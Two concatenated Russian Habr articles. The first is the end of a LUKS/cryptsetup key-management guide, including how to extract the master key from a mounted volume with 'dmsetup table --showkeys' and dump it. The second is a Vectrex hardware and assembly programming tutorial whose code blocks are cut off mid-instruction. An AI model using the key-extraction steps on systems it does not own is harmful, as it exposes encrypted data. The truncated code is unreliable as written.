Key Slot 7: DISABLED
```
Удаление существующего ключа
----------------------------
Для удаления существующего ключа используется команда luksRemoveKey:
```
# cryptsetup luksRemoveKey /dev/sdb1
Enter LUKS passphrase to be deleted:
```
При удалении ключа не используется номер слота, необходимо ввести именно парольную фразу — ключ (тот, что был назначен для целевого слота).
```
# cryptsetup luksDump /dev/sdb1 | grep Slot
Key Slot 0: ENABLED
Key Slot 1: ENABLED
Key Slot 2: ENABLED
Key Slot 3: DISABLED
Key Slot 4: DISABLED
Key Slot 5: DISABLED
Key Slot 6: DISABLED
Key Slot 7: DISABLED
```
Удаление ключа
--------------
Для удаления ключа используется команда luksKillSlot. Эта команда используется в том случае, если вы не имеете ключа для целевого слота, но просто хотите удалить ключ из этого слота.
Удаление ключа из слота №2. Будет предложено ввести любой назначенный LUKS ключ.
```
# cryptsetup luksKillSlot /dev/sdb1 2
Enter any remaining LUKS passphrase:
```
Результат:
```
# cryptsetup luksDump /dev/sdb1 | grep Slot
Key Slot 0: ENABLED
Key Slot 1: ENABLED
Key Slot 2: DISABLED
Key Slot 3: DISABLED
Key Slot 4: DISABLED
Key Slot 5: DISABLED
Key Slot 6: DISABLED
Key Slot 7: DISABLED
```
Добавление нового LUKS ключа из файла
-------------------------------------
Также возможно добавление нового ключа из файла:
```
# cryptsetup luksAddKey /dev/sdb1 masterkeyfile
Enter any passphrase:
```
В этом примере:
* masterkeyfile содержит новый ключ, который вы хотите добавить. Это должен быть двоичный (бинарный) файл.
* При запросе ввода парольной фразы необходимо ввести любой из существующих ключей для указанного раздела /dev/sdb1.
Результат:
```
# cryptsetup luksDump /dev/sdb1 | grep Slot
Key Slot 0: ENABLED
Key Slot 1: ENABLED
Key Slot 2: ENABLED
Key Slot 3: DISABLED
Key Slot 4: DISABLED
Key Slot 5: DISABLED
Key Slot 6: DISABLED
Key Slot 7: DISABLED
```
Сброс забытого LUKS ключа — установка нового ключа
--------------------------------------------------
Если вы перезагрузили (ваш) сервер, и не можете смонтировать ваш зашифрованный LUKS раздел потому что вы забыли ваш LUKS пароль, вариантов у вас нет. Данные потеряны. Придётся вновь работать с разделом (шифровать, возможно переразмечать, создавать файловую систему, наполнять данными).
Однако, если зашифрованный LUKS раздел всё ещё открыт, вы не перезагружали систему и вы забыли LUKS пароль для этого раздела который ещё смонтирован, тогда вы можете назначить новый LUKS ключ.
В сценарии «я забыл мой LUKS пароль» вы можете сделать следующие два шага:
* Выделить текущий ключ шифрования из LUKS раздела.
* Создать новый LUKS ключ используя предварительно выделенный ключ.
В этом примере смонтирован раздел /home1, являющийся зашифрованным LUKS разделом, однако неизвестен пароль для него.
```
# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sda1 127G 44G 76G 37% /
/dev/mapper/home1 93G 188M 88G 1% /home1
```
Имя тома находится в первой колонке вывода команды «df -h» после «/dev/mapper/», в этом примере имя тома «home1».
Следующая команда покажет листинг всех ключей шифрования всех разделов которые смонтированы в системе:
```
# dmsetup table --showkeys
home1: 0 197259264 crypt aes-cbc-essiv:sha256 607f482870c795a9b1e307ffbfc6643eaa219e9ef8c6773de02cd298c8fcda3c 0 8:17 4096
```
Поле после «aes-cbc-essiv:sha256» — зашифрованный пароль. Получим зашифрованный LUKS ключ и сохраним в файл:
```
# vi existinglukskey.txt
607f482870c795a9b1e307ffbfc6643eaa219e9ef8c6773de02cd298c8fcda3c
```
Итак, теперь сконвертируем полученный ключ из текстового файла в двоичный файл. Для этого воспользуемся командой «xxd»:
```
# xxd -r -p existinglukskey.txt existinglukskey.bin
```
В этом примере:
* -r опция для обратного преобразования. Это будет конвертировать hexdump в binary.
* -p опция для обработки postscript. Здесь мне трудно адекватно перевести руководство man (output in postscript continuous hexdump style. Also known as plain hexdump style).
* existinglukskey.txt входной файл.
* existinglukskey.bin выходной файл. Он будет содержать существующий зашифрованный LUKS пароль в двоичном файле.
И, наконец, добавим новый LUKS ключ используя выделенный в двоичный файл существующий ключ:
```
# cryptsetup luksAddKey /dev/sdb1 --master-key-file <(cat existinglukskey.bin)
Enter new passphrase for key slot:
Verify passphrase:
```
В этом примере:
* --master-key-file Определяет двоичный файл. Не используйте входной existinglukskey.txt файл. Используйте выходной existinglukskey.bin файл.
* Как видно, команда «cryptsetup luksAddKey» не задаёт вопрос о существующем LUKS пароле, так как он берётся из двоичного файла.
* Когда появляется приглашение командной строки «Enter new passphrase for key slot:», введите новый LUKS пароль. И, в этот раз, не забывайте его.
Дамп LUKS MasterKey
-------------------
Вы также можете сделать дамп MasterKey и хранить его в безопасном месте. Помните, что используя MasterKey дамп кто угодно может иметь доступ к вашему LUKS разделу.
```
# cryptsetup luksDump --dump-master-key /dev/sdb1
Are you sure? (Type uppercase yes): YES
Enter LUKS passphrase:
LUKS header information for /dev/sdb1
Cipher name: aes
Cipher mode: cbc-essiv:sha256
Payload offset: 4096
UUID: 146d639a-757c-4bcb-aee6-8fe815345104
MK bits: 256
MK dump: 60 7f 48 28 70 c7 95 a9 b1 e3 07 ff bf c6 64 3e
aa 21 9e 9e f8 c6 77 3d e0 2c d2 98 c8 fc da 3c
```
Итак, используя вышеописанные методы, необходимо для дальнейших действий сделать следующее:
* Определить устройство(а) с зашифрованным LUKS разделом.
* Определить, какие слоты свободны для записи ключа(ей).
* При необходимости — добавить новый ключ (резервный).
**Источники**Перевод сделан на основе вот этого [сайта](http://www.thegeekstuff.com/2016/03/cryptsetup-lukskey/).
Полное рассмотрение работы утилиты cryptsetup не входит в рамки данной статьи.
Желающие могут самостоятельно познакомиться с применением и опциями утилиты cryptsetup. Вот ресурсы для начального ознакомления: [wiki.archlinux.org](https://wiki.archlinux.org/index.php/Dm-crypt/Device_encryption), [gitlab.com](https://gitlab.com/cryptsetup/cryptsetup/wikis/FrequentlyAskedQuestions).
### Подготовка к использованию ключа Yubikey 4 в операционной системе
Необходимо установить программное обеспечение для работы с ключом Yubikey 4. В системах на основе Ubuntu версий 16.04 и старше выполняются следующие команды:
**1.** sudo apt-get install yubikey-luks
**2.** sudo apt-get install yubikey-personalization
**3.** Вставить в USB слот ключ Yubikey 4 и выполнить команду:
```
ykpersonalize -2 -ochal-resp -ochal-hmac -ohmac-lt64 -oserial-api-visible
```
Yubikey имеет два слота. Здесь используется слот №2, таким образом, слот №1 может использоваться в обычном «OTP» режиме.
**4.** Для «привязки» ключа Yubikey 4 к слоту LUKS используется команда «yubikey-luks-enroll». Исполняемый файл (скрипт) находится по адресу /usr/bin/yubikey-luks-enroll. В скрипте предполагается, что раздел LUKS находится на устройстве /dev/sda5. Если это не так в вашем случае, скопируйте скрипт в свой домашний каталог и откорректируйте строку:
```
DISK="/dev/sda5"
```
Необходимо заметить, что существует разница между именованием устройства, используемом для шифрованного раздела в системах с BIOS и UEFI. Для систем загружающихся с использованием BIOS по умолчанию имя тома для шифрования /dev/sda5. Для систем с загрузкой UEFI имя тома по умолчанию для шифрованных разделов /dev/sda3.
**5.** После корректировки параметров в скрипте yubikey-luks-enroll — запустите его. При выполнении скрипта будет запрошен новый пароль, который будет отправлен на Yubikey 4 для создания ответа (режим challenge-response) и который вы можете использовать для двухфакторной аутентификации при загрузке системы.
### Использование ключа Yubikey 4 для двухфакторной аутентификации
1. Вставьте ключ Yubikey 4 в USB слот компьютера.
2. Включите компьютер.
3. В поле ввода пароля введите пароль вызова — пароль созданный при запуске скрипта yubikey-luks-enroll. Нажмите клавишу ввода (Enter) на клавиатуре.
4. После отправки пароля вызова на ключ Yubikey и получения ответа начнётся процесс расшифровки LUKS раздела, после чего будет загружена операционная система.
5. После окончания процесса дешифрации ключ Yubikey 4 можно извлечь из слота USB.
В случае утери (отсутствия) ключа Yubikey 4 всё ещё остаётся возможность использовать ранее введённую парольную фразу для дешифрования раздела. Если, конечно, парольная фраза была предварительно введена и сохранена в одном из слотов LUKS раздела.
Заключение
----------
Применение устройства Yubikey для использования в качестве ключа как второго фактора процесса аутентификации, существенно может повысить безопасность работы с зашифрованными разделами LUKS. | https://habr.com/ru/post/329648/ | null | ru | null |
# Архитектура и программирование компьютера Vectrex
*— А видеовыход у него есть?
— И как ты себе это представляешь?
(из разговора о Vectrex)*
[Vectrex](http://en.wikipedia.org/wiki/Vectrex) выпускался GCE в 1982 — 1983 гг. и представляет собой игровой компьютер (приставку) ключевая особенность которой, векторный дисплей, делает его одним из самых необычных и интересных 8-разрядных компьютеров. С некоторой натяжкой можно сказать, что он является упрощённой версией векторных игровых автоматов [Cinematronics](https://en.wikipedia.org/wiki/Cinematronics), технически более совершенных.
В качестве процессора в Vectrex используется Motorola 6809 — он похож на MOS 6502/6510, но добавлены 16-битные регистры, дополнительные режимы адресации, умножение.
Тактовая частота — 1.5MHz.
Поскольку компьютер был выпущен как игровая приставка и игры для него продавались на картриджах, программа размещается в ПЗУ картриджа (32 кб), а ОЗУ — совсем крохотное (1 кб — две штуки 2114) и предназначено больше для данных.
Также есть встроенное ПЗУ с BIOS'ом (8 кб — одна 2363), который включает набор подпрограмм для рисования векторов и вывода текста, несколько примитивных мелодий и даже одну игру — Minestorm (многим известную как Asteroids).
Звук реализован на чипе AY8912 (также используется в MSX2 и поздних ZX Spectrum) однако, кроме этого существует штатная возможность проигрывания 8-битного звука через ЦАП (практическое применение этого способа, впрочем, ограничено).
Vectrex выполнен в виде моноблока (включающего ЭЛТ экран), но клавиатура не предусмотрена в принципе. Управление осуществляется двумя джойстиками (в т.ч. аналоговыми). Кроме того, может быть подключено световое перо и очки 3D Imager.
С 1982 г. по нынешнее время для Vectrex написали примерно полторы сотни [игр](http://www.vectrexmuseum.com/mirror/vgdb/), несколько серьёзных программ (типа редакторов графики, музыки, анимации), а также около десятка [демо и интро](http://www.pouet.net/prodlist.php?platform%5B%5D=Vectrex). Интересно, что более половины игр (и все демо) выпущены после 1995 года, т.е. через десятилетие после прекращения производства и поддержки Vectrex. Возрождение платформы связано, в первую очередь, с появлением хороших эмуляторов, которые сделали разработку доступной любому желающему. Сами компьютеры пока также вполне доступны на eBay.
Векторный дисплей
-----------------
За исключением части отвечающей за вывод изображения, архитектура Vectrex довольно обычна для компьютеров того периода. Основной интерес представляет именно подсистема формирующая векторное изображение, ей и будет посвящена большая часть статьи.
Векторные дисплеи, сейчас практически не встречающиеся и мало кому известные, были распространены в 1970-е.
Основное отличие от всем известных растровых заключается в отсутствии автоматической развёртки. Луч не бегает по строчкам сам. Его перемещение управляется программой — код, который вы напишите, определяет направление, скорость, длительность и яркость, с которой будет перемещаться луч. Как следствие — у векторного дисплея нет пикселов, а, следовательно, и нет понятия «разрешение» (по крайней мере, в привычном понимании).
Фактически, такой дисплей представляет собой осциллограф, к горизонтальному (X), вертикальному (Y) и каналу яркости (Z) которого подключены цифро-аналоговые преобразователи.
Чтобы получить на экране линию, необходимо не просто переместить луч из одной точки в другую, а сделать это равномерно и с нужной скоростью. Затем луч можно погасить и переместить в другую точку, где зажечь и переместить в третью, и т.д. Таким образом получим некую фигуру.
После завершения перемещения люминофор будет какое-то время светиться и линия будет видна. Однако, это послесвечение длится недолго.
По этой причине всё, что требуется, включая выполнение кода, задержки вызванные обращением к периферии и саму отрисовку линий, нужно выполнить за ограниченное время.
Если линий будет много, изображение начнёт мерцать. Это делает невозможным создание закрашенных фигур (разве что совсем крохотных), а сколько-нибудь серьёзные вещи придётся писать на ассемблере т.к., даже если представить себе идеально оптимизирующий компилятор, рассчитать все временные задержки при перемещении луча, которые будут происходить в выдаваемом им коде, проблематично — одна лишняя загрузка в регистр в неудачном месте может совершенно исказить изображение.
Если для традиционных 8-битных платформ (типа Commodore VIC-20, C64 или ZX Spectrum) вполне можно программировать, ни разу не посмотрев на схему компьютера, в случае с Vectrex понимание того, как работает часть формирующая изображение — необходимо.
Конечно, можно пользоваться для отрисовки линий, простых фигур и вывода надписей готовыми подпрограммами BIOS, однако это не позволяет в полной мере использовать возможности устройства — рано или поздно всё равно придётся работать с железом напрямую.
По этой причине, знакомство с разработкой будет тесно переплетено с описанием устройства компьютера.
Разбираться будем на примере построения прямой линии из точки, где луч уже находился, в некую новую заданную точку.
В данном контексте нас интересуют следующие компоненты Vectrex'a (в скобках приведены номера на [блок схеме](https://habrastorage.org/files/031/b5e/ee0/031b5eee01c74af693655c0a4af975a1.png)):
MOS 6522 (IC207) — универсальный адаптер интерфейсов (VIA — Versatile Interface Adapter) — этот чип отображается на область памяти $D000...$D00F. Соответственно, запись по этим адресам значений (например, командами процессора STA $D00x) приводит к изменению его регистров.
6522 содержит, в частности, порты ввода-вывода, два таймера, сдвиговый регистр (shift register).
Подробности лучше посмотреть в документации на чип (см. ссылку на архив в конце статьи), но суть состоит в том что, записывая командами микропроцессора значения в упомянутые выше ячейки памяти, мы устанавливаем торчащие из чипа ножки в 0 или 1 (а также наоборот — можем проверить, поданы ли на них 0 или 1).
MC 1408 (IC301) — 8-разрядный цифро-аналоговый преобразователь (DAC, ЦАП). Преобразует код, поступающий на него с чипа 6522 в соответствующий уровень напряжения. С точки зрения программирования диапазон напряжений соответствует цифрам -128… +127 (а не 0...255!)
LF347 (IC303) — схемы выборки-хранения s&h (store & hold) на операционных усилителях. Сохраняют на выходе напряжение (в т.ч. после того, как оно будет снято с входа). Их две — по каналам Y и Z (для X не нужна, пояснение ниже).
CD 4052 (IC302) — аналоговый мультиплексор с цифровым управлением (mux). Взависимости от кода на его цифровых входах (которые подключены всё к тому же 6522) пропускает входное напряжение с ЦАП-а на один из нескольких своих выходов.
4066 (IC305) — аналоговые ключи. Управляемые (тем же 6522) выключатели, позволяющие пропускать или не пропускать через себя напряжение.
LF247 (IC303) — интеграторы на операционных усилителях (их два — по X и по Y, соответственно). Преобразуют входной прямоугольный сигнал, амплитуда которого задана кодом на ЦАП-е, в изменяющееся напряжение, заставляющее луч плавно перемещаться из одной точки в другую, оставляя на экране светящийся след.
Далее идёт электронно-лучевая трубка с отклоняющей системой (по горизонтали и вертикали) на которую через усилители подаётся напряжение с интеграторов и, отдельно, напряжение управляющее яркостью луча.
При отсутствии напряжения на отклоняющих системах луч находится в центре экрана. При максимально допустимом напряжении на любой из них — за пределами экрана.
(для более подробного рисунка см. [блок-схему](http://www.enlight.ru/images/vec_art_diagram.png) и [схему](http://www.enlight.ru/images/vec_art_logic.png))
Рисование осуществляется примерно следующим образом:
Загружая в определённые регистры 6522 значения, мы можем устанавливать на выходе ЦАП нужное напряжение. Но ЦАП всего один, а нам нужно выставить три напряжения — X (направление по горизонтали -128...+127), Y (направление по вертикали -128...+127) и Z (яркость 0...$7F).
Для этого после установки каждого напряжения нужно переключить мультиплексор, чтобы напряжение было передано на нужный выход. С каналами Y и Z в этом отношении всё просто, а вот канал X идёт (явно для упрощения схемы) в обход мультиплексора.
Т.е., устанавливая Y или Z мы всегда одновременно устанавливаем и X!
Поэтому поступаем так:
**1.** Записываем в ЦАП яркость, переключаем мультиплексор на вывод в канал Z. Напряжение сохраняется на схеме sample & hold (s&h) канала Z.
**2.** Записываем в ЦАП Y, переключаем мультиплексор на вывод в канал Y. Напряжение сохраняется на схеме s&h канала Y.
**3.** Выключаем мультиплексор и записываем в ЦАП X (s&h тут не нужна, так как напряжение сохраняется на самом ЦАП)
Канал Z нам больше не интересен (яркость постоянна), а вот с X и Y разбираемся дальше.
Итак, напряжения по X и Y с выходов схем s&h у нас поданы на аналоговые ключи. Через 6522 (выход PB7) мы подаём на эти ключи сигнал RAMP. Ключи одновременно открываются и оба напряжения попадают на соответствующие интеграторы — по X и по Y.
На выходе интеграторов, соответственно, получаем изменяющиеся напряжения. Они меняются либо от предыдущего значения, оставшегося на конденсаторе интегратора (помните, мы куда-то там до этого поставили луч?), либо от нуля (если ранее интеграторы сбросили в ноль, подав на них через тот же 6522 сигнал ZERO — конденсатор разрядится).
Интегрирование идёт, напряжение меняется, луч движется по экрану и оставляет след за счёт послесвечения люминофора. Когда надоест, мы можем его остановить, отключив напряжение от интеграторов уже упомянутым сигналом RAMP.
Таким образом линия нарисована, а остаток напряжения на интеграторах соответствует её концу (и началу следующей, если понадобится).
Возникает вопрос — в какой момент отключать напряжение? В принципе, это ваше дело. Вы можете просто посчитать, какой длины нужен вектор и вбить задержку в нужное число тактов подходящими командами.
Однако, на практике обычно применяется другой способ — задействуется таймер 1 в 6522. В таймер заносится некое значение, не слишком удачно названное «scale» (масштаб) и начинается обратный отсчёт. Когда значение достигнет нуля, сигналом RAMP интегрирование будет автоматически остановлено. Т.е., достаточно выставить и запустить таймер, луч остановится сам. Однако, тут есть проблема — луч остановится, но как об этом узнать, чтобы начать рисовать следующий?
Для этого придётся в цикле проверять один из регистров 6522, где после завершения счёта установится флажок. По сути, получается ожидание впустую, поэтому это время в цикле иногда используют для выполнения каких-нибудь полезных вычислений.
Помимо сплошной линии есть достаточно кривая возможность рисовать пунктирную. Для этой цели используется сдвиговый регистр (shift register) в 6522. Заносим туда необходимый паттерн (к примеру, $AA = %01010101) и говорим 6522, что сдвиг должен происходить автоматически. При сдвиге каждый бит выползает на сигнал BLANK и, таким образом, луч сам включается на единицах и выключается на нулях. Проблема в том, что после 8 сдвигов в регистре остаются одни нули и весь наш замечательный пунктир обрывается. Чтобы этого не происходило, необходимо снова и снова заносить туда значение pattern. Делается это в вышеупомянутом цикле ожидания окончания интеграции. В таких условиях получить именно тот пунктир, какой хочется — весьма непросто.
Впрочем, именно этот регистр используется BIOS'ом для функции вывода текста (т.е., фактически, стандартные символы — растровые, просто рисуются прерывистыми горизонтальными векторами).
Из всего вышеописанного следует три важных момента:
**1.** Рисование происходит не по абсолютным координатам, а по относительным. Следующее перемещение отсчитывается от конца предыдущего и вектор имеет некую длину в некотором направлении (кстати говоря, это позволяет совершенно штатно выводить изображение за границы видимой части экрана — к примеру, для реализации скроллинга).
Из-за различных утечек с каждым перемещением быстро растёт погрешность (единицы сантиметров на десять тысяч тактов), поэтому в начале каждого «кадра» (серии рисований) луч выставляют в центр экрана.
**2.** Длина и направление вектора зависит от сочетания scale и напряжений по X и Y. В некотором смысле, scale задаёт длину, а X и Y направление (но при этом также влияя на длину). Можно сказать, что на рисунке с графиком scale задаёт время от A до B (или от B до C), а значение X (или Y) подаваемое на ЦАП — наклон отрезков на нижней части графика (говоря иначе — скорость изменения напряжения).
3.Поскольку scale — время перемещения луча, оно должно быть по возможности минимальным. Чем оно меньше, тем больше векторов можно успеть нарисовать, пока не начнётся мерцание.
Для немерцающего изображения в 50 кадров в секунду (50 гц для любого Vectrex) необходимо со всеми рисованиями и вычислениями уложиться в 30000 тактов.
Если рисовать горизонтальные линии во всю ширину экрана в максимальном масштабе ($FF) и перед началом рисования каждой линии устанавливать луч в центр, а затем в точку начала линии, то в упомянутые 30000 тактов уложится примерно 60-70 линий, что весьма немного. Ясно, что при уменьшении масштаба (и, соответственно, уменьшении их длины) максимальное число линий будет расти.
Рисование прямой линии
----------------------
Теперь разберём, как всё вышеописанное реализуется в коде (константы VIA\_\* из vectrex.i от исходников BIOS).
Практически любая программа для Vectrex представляет собой бесконечный цикл. Первым делом в нём всегда вызывается подпрограмма BIOS Wait\_Recal, а затем уже всё остальное — необходимые вычисления, отрисовка всех векторов для данного «кадра», проигрывание музыки, опрос джойстиков и пр.
В отличие от традиционных растровых дисплеев, где луч обегает все строчки одинаковое для каждого кадра время, здесь всё иначе — ведь в одном кадре может выводится 10 линий, а в следующем только 5.
Для обеспечения равного времени выполнения всех итераций цикла («кадров») используется следующий метод:
Таймер 2 VIA 6522 программируется в режим one shot и в него заносится значение Vec\_Rfrsh = 30000 ($7530). С момента занесения идёт обратный отсчёт. В начале Wait\_Recal ожидаем, когда отсчёт закончится. Как только он закончился, осуществляем рекалибровку схем (а в таймер опять заносим то же значение). Смысл этого ожидания в том, чтобы итерация цикла гарантированно занимала не менее 30000 тактов. Если рисование и вычисления заняли меньше, время всё равно будет «дополнено» до 30000.
А вот если они заняли больше, это приведёт к негативным эффектам — во-первых, начнут гаснуть векторы нарисованные первыми, во-вторых, из-за поздней рекалибровки, могут возникнуть различные искажения.
Почему именно 30000? Значение выбрано из расчёта 50 Гц (т.е. на один «кадр» отводится 1/50 секунды), исходя из частоты процессора 1.5 MHz. Именно 50 Гц, по-видимому, выбрано чисто по традиции.
Wait\_Recal состоит из нескольких последовательных процедур:
— Увеличивается счётчик Vec\_Loop\_Count (это просто переменная word)
— Ожидается когда закончит считать таймер 2 (и если закончил, запускается заново)
— Устанавливается максимальный масштаб (scale) = $FF
— Выключение обнуления интеграторов, выключение луча, луч перемещается в позицию x = $7F, y = $7F (левый нижний угол) из предыдущей своей точки (которая может быть какой угодно)
— Включается луч, очищается сдвиговый регистр (т.е. пустой паттерн для линий), включение «обнуления» интегратора (луч оказывается в центре)
— Выключение обнуления интеграторов, выключение луча, луч перемещается в позицию x = $80, y = $80 (правый верхний угол)
— Ещё раз включение обнуления интеграторов (луч снова оказывается в центре)
— Устанавливается ноль относительно нуля ЦАПа (см. ниже примечание от svo)
Каким образом помогает калибровке перемещение луча в углы экрана — неясно.
С практической точки зрения важно, что в результате этих действий, после вызова Wait\_Recal луч у нас выключен и принудительно находится в центре (обнуление интеграторов включено — они не могут работать, даже если начать интегрирование), scale установлен в $FF.
Итак, исходник:
```
loop:
jsr Wait_Recal ; ожидание таймера 2 и рекалибровка CRT
; Включаем луч и выключаем "обнуление" интеграторов (иначе луч не будет перемещаться)
lda #$CE ; BLANK low, ZERO high
sta
```
Обратите внимание, что паттерн записывается в регистр дважды — перед началом интегрирования и потом в каждой итерации цикла. Второе необходимо потому, что при сдвиге (автоматическом) регистр становится пустым и если значение не обновлять — линия станет невидимой. При обновлении же очень важно правильное соответствие сдвига и тактов, которые занимают команды в цикле. Если туда вставить даже один nop, видимый паттерн линии изменится.
Если рисуется несколько линий (к примеру, квадрат) то, конечно, «clr
В подпрограмме BIOS Draw\_VL (вызывающей Drawline\_d) этот момент обыгрывается довольно хитро: есть переменная Vec\_Misc\_Count, в которую заносится число линий, которые планируется нарисовать. И когда дорисована последняя, там не просто очищается паттерн, но ещё выполняется сброс интеграторов (т.е. частично выполняется код из Wait\_Recal).
Если нужно быстро вернуть луч в центр экрана до завершения цикла и очередного вызова Wait\_Recal, можно пользоваться «обнулением» интеграторов, не забывая его отключать:
```
; обнуляем интеграторы
lda #$CC
sta
```
Тоже самое делает подпрограмма BIOS Reset0Ref (плюс, там ещё очищается shift register), которая вызывается из Wait\_Recal.
Существенно, что необходимо выполнять И обнуление интеграторов И запись нулей в ЦАП. Для эмулятора это без разницы, а вот на реальном Vectrex разница очень даже будет.
ЗАМЕЧАНИЯ:
Описанный вариант отрисовки линии намеренно избыточен. К примеру, масштаб и яркость совершенно необязательно устанавливать каждый раз, сплошная линия не потребует лишнего цикла с обновлением shift register. В ряде случаев куда оптимальнее (но менее наглядно) загружать сразу A и B инструкцией LDD, использовать clr, inc/dec и т.д. В реальной ситуации это делать придётся, т.к. экономит такты.
По-поводу «бессмысленных» инструкций задержки: после записи в порты 6522, в коде BIOS'а иногда выжидают несколько тактов. Иначе следующая запись может не пройти. Когда это нужно и когда нет — вопрос достаточно туманный. Судя по экспериментам (как моим, так и других людей) — не нужно вообще. Возможно, это требовалось для ранних экземпляров Vectrex.
Нужно понимать, что если хочется рисовать длинные непрерывные вектора (к примеру, во всю ширину экрана), то это возможно лишь при максимальном масштабе (scale). Однако, если он будет максимальным, это автоматически означает снижение «разрешения» в том смысле, что шаг в единицу по вертикали будет означать расстояние примерно в ширину яркой линии (т.е. между рядом параллельными линиями будет промежуток).
Если же делать длинные линии из нескольких коротких, места стыков будут заметны.
На практике имеет смысл постоянно переключать масштаб — в одном (большом) рисуется линия, в другом (маленьком) луч перемещается к началу рисования следующей.
Если нарисовать длинную (от -128 до 127) горизонтальную линию (в масштабе $FF) так, чтобы её левый конец был у правого края экрана, а правый конец далеко за экраном, то не получится передвинуть её влево так, чтобы правый конец оказался за левым краем экрана.
На первый взгляд здесь нет проблемы, т.к. перемещения луча всегда относительны. Однако, на настоящем Vectrex линия влево за край не уйдёт (причём, если уменьшать начальную координату линии плавно, то будет видно, как её движение влево будет замедляться и прекратится, не дойдя до нужной позиции около четверти экрана. Это связано с ограничениями на максимальную амплитуду напряжений на выходах интеграторов (эмулятор, к слову, этого не понимает).
Яркость вектора определяется не только значением Z, но также и временем, которое луч находится в данном конкретном месте. Соответственно, яркость будет выше если а) луч перемещается медленно б) луч перемещается по одной и той же траектории многократно.
В этой связи стоит упомянуть про точки — они рисуются простым включением луча (без интегрирования), выжидания в цикле некоторого времени, от которого зависит яркость и выключения луча (см. подпрограмму Dot\_here).
Прямая линия с интегрированием вручную
--------------------------------------
В предыдущем разделе для начала перемещения луча мы запускали таймер, что автоматически запускало интегрирование. И затем ожидали окончания, проверяя в цикле, не закончил ли таймер считать.
Существует другой способ рисования линии, при котором таймер не используется: интегрирование запускаем вручную (установкой RAMP на ножке PB7 6522), а затем любым способом ждём нужное нам время, пока луч ползёт в заданном (X и Y) направлении. Взависимости от задачи, для ожидания могут быть использованы простые nop, либо цикл (в котором, в частности, можно обновлять значение shift register, если требуется штрих-пунктирная линия).
В конце рисования интегрирование прекращается (также вручную).
Код выглядит так:
```
loop:
jsr Wait_Recal
lda #$CE ; (11001110) /Blank low, /ZERO high
sta
```
Поскольку таймер здесь не используется, задание масштаба (scale) не имеет смысла и ни на что не влияет. Направление и длина линии полностью определяются значениями X,Y и задержкой между началом и окончанием интегрирования.
В BIOS подобный подход (без таймера) используется при выводе символов (подпрограмма Print\_Str).
Рисование кривой
----------------
С рисованием прямых векторов, если разобраться, всё обстоит достаточно просто. Но что делать, если требуется нарисовать кривую? Специальных аппаратных возможностей для этого Vectrex не имеет.
Более того, вы даже не можете произвольно перемещать луч — необходимо переключать каналы мультиплексора, причём один из каналов (X) вообще идёт мимо него.
С официальной точки зрения рисовать кривые нельзя. В BIOS нет ни одной подпрограммы, которая бы делала что-то похожее. Однако, если делать всё вручную, кривые, с рядом серьёзных ограничений, нарисовать всё же удаётся.
Для этого, как и в предыдущем случае, от запуска интегрирования по таймеру и проверки его окончания придётся отказаться.
Запуск производится вручную (сигналом RAMP) и, после того как луч начал движение, мы в нужные моменты начинаем писать значения в каналы X и Y, в результате чего луч вынужден менять направление. Помимо, опять же, необходимости чётко вычислять необходимые для записи моменты, серьёзным ограничением является необходимость переключения мультиплексора между каналами. На практике это приводит к тому, что с каналом X всё хорошо, т.к. он идёт в обход мультиплексора (поэтому отклонения луча по горизонтали получаются чистые и аккуратные). А вот с каналом Y всё плохо.
Чтобы в него записать, необходимо включить мультиплексор (активировать выход S/H 6522 ведущий на DIS MUX мультиплексора), записать значение и снова выключить мультиплексор что, вероятно, приведёт к остановке интегрирования.
Рассмотрим простой пример, в котором рисуется кривая с отклонением только по горизонтали (X):
```
loop:
jsr Wait_Recal ; калибровка
lda #$7f
sta
```
Фактически, приведенный пример аналогичен примеру из предыдущего раздела (прямая линия с интегрированием вручную), просто здесь в процессе рисования мы еще и в DAC значение X пишем.
Что касается использования shift register, здесь есть сложности. Пунктирную линию сделать можно, но точность пунктира будет условной, т.к. проблематично изменять и X и значение shift register в точности тогда, когда это нужно.
Если через равные промежутки времени писать в X одинаковые значения (например 10,10,10), изменение будет линейным — т.е. получится наклонная прямая.
От задержек между записью значений зависит гладкость кривой и её длина. Если задержки большие, получится просто ломаная линия. Поэтому в конкретных ситуациях будет иметь значение любая лишняя инструкция, а циклы, вполне вероятно, придётся разворачивать. Кроме того, получившаяся кривая может зависеть от конкретного экземпляра вектрекса (из-за отличия параметров аналоговых компонентов/цепей), хотя добиться примерной схожести на разных экземплярах — возможно (правда неясно, где взять столько Vectrex'ов для тестирования).
Описанная технология использовалась на практике, хотя и редко. Наиболее известный пример — дорога в игре Pole Position. Другой — [моя intro «Electric Force»](http://www.pouet.net/prod.php?which=66303) для CC'2015.
Можно ли менять яркость в процессе рисования линии (прямой или кривой)? В практических целях — вряд ли. Яркость меняется через тот же ЦАП — так же, как и с каналом Y, понадобится переключение мультиплексора (с соответствующими побочными эффектами). Кроме того, на это будет уходить время, так что длина сегмента линии одинаковой яркости будет слишком большой.
Растр из векторов
-----------------
Если у нас есть возможность рисовать вектора, логично предположить, что из них можно попытаться построить растр, заставив луч бегать туда-сюда и включать-выключать его в нужное время. Однако, при реализации этой идеи возникает ряд препятствий, которые преодолимы лишь частично:
1. За доступные 30000 тактов (чтобы изображение было стабильным) слишком много линий развёртки не нарисуешь.
Фактически, при максимальной длине линии их число (назовём это вертикальным разрешением) будет измеряться десятками. Причём, если scale будет максимальный (т.е., если мы хотим растр шириной в экран), то линий успеет нарисоваться меньше. Более того — нужно учитывать, что после рисования каждой линии мы должны как-то перейти к началу следующей. Даже если мы рисуем во время хода луча обратно (создавая себе проблемы при адресации точек), при максимальном scale не получится нарисовать несколько горизонтальных линий вплотную — между ними будут значительные промежутки. Чтобы этого избежать, можно уменьшать scale перед перемещением луча по вертикали и возвращать обратно на максимум перед рисованием линии. Это переключание также займёт время.
Можно отказаться от растра на всю ширину экрана и изначально задать scale поменьше. Тогда, во-первых, решается проблема с промежутками по вертикали, во-вторых уменьшается время рисования линий.
2. Если не рекалибровать схему после каждой линии, всё это дело съезжает в сторону.
Фатальность проблемы зависит от выбранного scale (т.е., чем дольше рисуется луч, тем сильнее уплывают параметры интеграторов) и от конкретного экземпляра Vectrex. На моём экземпляре при растре во всю ширину экрана уже вторая линия начинается на миллиметр левее, так что о стабильном растре говорить не приходится. Уменьшение scale несколько снижает остроту проблемы, но не снимает её.
Решением является рекалибровка (обнуление интеграторов и ЦАПа) после каждой линии. Это даёт стабильный растр но, разумеется, ценой лишних тактов.
На эмуляторе (ParaJVE) уплывание параметров аналоговых элементов схемы отсутствует, поэтому ориентироваться на него в этом плане нельзя.
